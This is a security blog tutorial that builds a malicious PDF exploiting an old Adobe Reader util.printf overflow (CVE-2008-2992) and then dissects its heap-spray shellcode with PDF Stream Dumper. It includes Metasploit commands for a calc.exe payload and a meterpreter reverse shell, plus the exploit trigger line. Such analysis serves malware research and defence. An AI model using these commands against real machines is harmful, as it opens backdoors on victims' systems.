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Infected PDFs have always been a privileged way to infect users because this document format is very common and used by almost everyone. Moreover, it exists many ways to exploit Acrobat Reader vulnerabilities and it’s very stealth and elegant way to launch a malware.

In this article, I will show you how easy it is to craft a malicious PDF with custom shellcode, and trigger a vulnerability to execute a payload. We will also analyse the malicious PDF to learn how the payload is stored, and how to extract it. This article is for research purpose only, don’t do bad things!
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What is a PDF ? Format Analysis

PDF is object oriented format, defined by Adobe. This format describes a document organization, and preserves dependencies needed for the document (fonts, images, …). These objects are stored within the document as streams and most of the time encoded or compressed. Below is the overview of a classic PDF document. For more information, please read Adobe’s specifications.







Metasploit: Infected PDF creation

We will create a fake PDF with metasploit, containing an exploit attempt, as well as a custom payload (code to execute). The exploit is targeting a specific version of Adobe Reader, so we will need to make some archaeology and find an ancient Reader version (thanks to http://www.oldapps.com/) to install on the target machine.

So, first, let’s make this PDF. We will make a infected PDF that just opens calculator (calc.exe) on the machine, just for demonstration. Open a metasploit console (installation of metasploit is not covered in this article) and type:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit


This should look like this:






Copy the file that has just been created (here /home/osboxes/.msf4/local/malicious.pdf) on a shared drive. You will need to feed your target machine with it.


Execution of the Infected PDF

On the target machine, download and install a vulnerable Adobe Reader version (metasploit tells us it should be less than 8.1.2). I choose to install a 8.1.1 version. Once installed, execute the malicious.pdf file. You should see a calculator being spawned from the Adobe Reader process. That’s the exploit.






I’ve done another PDF but changed the payload slightly, just for fun:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455


Here’s the result. Adobe Reader now has a backdoor (reverse shell) listening for commands.







PDF Stream Dumper: Infected PDF Analysis

Played enough! Let’s see what’s inside that malicious PDF, and let’s try to extract the malicious payload (we’re still with the calc.exe PDF). First, we will need a tool called PDF Stream Dumper, so download it. Load the malicious PDF with it, and take some time to familiarize yourself with the tool.






We can start by checking if some exploit is detected by the tool using the “Exploit Scan” menu:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

Indeed, there’s an exploit hidden in stream 6 (the one in blue on the capture). But let’s start by the beginning: when searching for exploits in a PDF, we most of the time encounter heap spray created by a Javascript code. That heap spray is used to push the payload on the heap, ready to be executed once the vulnerability has triggered. If you open Stream 1, you can see:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

That we can translate to OpenAction on stream 5. Let’s move to stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

Which says to execute Javascript located in stream 6. This stream shows plain Javascript, it’s time to open the “Javascript_UI” menu. We immediately recognize a big string hex encoded, and pushed into a variable for heap spray. This is our payload:






Fortunately, we have tools to manipulate it, and understand what it does. Select the payload (the part between quotes), and open “Shellcode_analysis” menu. Then choose “scDbg – LibEmu Emulation”. You will get a new window will the shellcode decoded into bytes (you can even save it to file):






LibEmu is a library able to simulate a processor, it gives information about what the assembly code is trying to do. Just hit the “Launch” button and you will understand:






Here it is, we can clearly see the shellcode will just opens a calc.exe window and exits.
Let’s redo the same analysis for the other malicious PDF (reverse shell):






Uh, self explaining right? Shellcode is loading the library needed to manipulate sockets (ws2_32.dll), and tries to connect back to C&C. I haven’t told about the exploit itself, it’s located at the end of the javascript code (like stated by Exploit search, “util.printf – found in stream: 6”). It’s exploiting a buffer overflow on printf function to execute arbitrary code (here, our heap-sprayed shellcode).

util.printf("%45000.45000f", 0);


Links

– http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443
– http://www.oldapps.com/adobe_reader.php
– http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html
– http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html
– http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf
– http://resources.infosecinstitute.com/analyzing-malicious-pdf/


Categories: Analysis, TutorialBy tigzySeptember 17, 2015 15312 views

Tags: exploitmalwaremetasploitpdftutorial


Share this post


Share on FacebookShare on Facebook
TweetShare on Twitter
Pin itShare on Pinterest
Share on LinkedInShare on LinkedIn










 
Author: tigzy

Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.





Post navigation
PreviousPrevious post:Catch malware with your own HoneypotNextNext post:How to Remove Potentially Unwanted Modification (PUM) ?
Related Posts




What happens on the Darknet ?
November 16, 2017





How to Hack with Mimikatz: Tutorial
October 27, 2017





What is Code Signing?
June 12, 2017





How to setup your malware honeypot (V2)
May 24, 2017





Cuckoo Sandbox Customization (V2)
May 19, 2017





Macro malware, the biggest online threat
January 31, 2017








Latest News
	



Introducing: Community Updates for UCheck
October 18, 2023

	



Defend Against Online Scams: A Comprehensive Guide to Online Safety
June 30, 2023

	



Internet Safety for Children: How to Keep Your Kids Safe Online
May 5, 2023

	



How to Keep Your Passwords Safe: Tips and Tricks
March 28, 2023

	



Introducing: RogueKiller Clipboard Protection
August 23, 2022

	



Introducing: UCheck PUP Protection
October 28, 2020


Latest Removal Guides
	



Defend Against Online Scams: A Comprehensive Guide to Online Safety
June 30, 2023

	



Internet Safety for Children: How to Keep Your Kids Safe Online
May 5, 2023

	



How to Keep Your Passwords Safe: Tips and Tricks
March 28, 2023

	



What is a Computer Worm ? How to Remove ?
October 9, 2020

	



What is a Trojan ? How to Remove ?
October 2, 2020

	



What is an Adware ? How to Remove ?
August 20, 2020


Subscribe to our Newsletter
 
















Email Address*




NAME




LANGUAGE
English
French







 




 













Company
	 About Us
	 Blog
	 End-User License Agreement

Help
	 Forum
	 Contact
	 Documentation

Social
Follow us on social networks.
Find us on:
Facebook page opens in new windowTwitter page opens in new windowYouTube page opens in new windowLinkedin page opens in new windowGithub page opens in new window


	





English

	





Français





 










Copyright @ 2010 - 2024 Adlice Software - All Rights Reserved














Go to Top

This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. Cookie settingsACCEPT
Privacy & Cookies Policy





Close






Privacy Overview
 
This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may have an effect on your browsing experience.



 







Necessary 


Necessary


Always Enabled





Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information. 










Non-necessary 


Non-necessary







Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website. 




















SAVE & ACCEPT














































































